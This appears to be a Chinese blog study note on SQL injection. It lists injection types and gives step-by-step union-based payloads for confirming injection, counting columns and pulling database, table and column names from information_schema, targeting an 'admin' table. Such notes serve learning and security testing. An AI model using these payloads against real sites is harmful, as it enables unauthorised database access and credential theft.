sql注入种类:
1、联合注入
2、post注入、head注入
3、盲注
4、宽字节注入
5、access---Cookie注入
6、access---偏移注入
7、mysql注入---dns注入
8、mysql注入---反弹注入
9、Oracle注入---报错注入
判断是否存在注入
1、and 1=1 数字型注入
2、and 1=2 条件不成立,页面显示异常
3、/?id=2-1
4、/?id=3-1
5、/?id=1 and sleep(5)
6、/? id=1 and 1=2 union select 1,2
7、联合查询:?id=1 and 1=2 union select 1,database()
可判断出是数字型注入
判断字段数
order by : 排序,用来判断字段数
union select 联合查询,用来查询自己想要得到的数据
database()可以判断数据库名称
判断显错位
?id=1 order by 2
?id=1 and 1=2 union select 1,database()
查询数据库名:?id=1 and 1=2 union select 1,database()
猜询数据库:?id=1 and 1=2 union select 1,schema_name from information_schema.schemata limit 1,2
查询表名:/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() LIMIT 0,1
?id=1000 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'
查询列名:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
?id=1000 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin'
union select 1,2,3,4,5,6,7,8,9,10 from 132312

4万+

被折叠的 条评论
为什么被折叠?



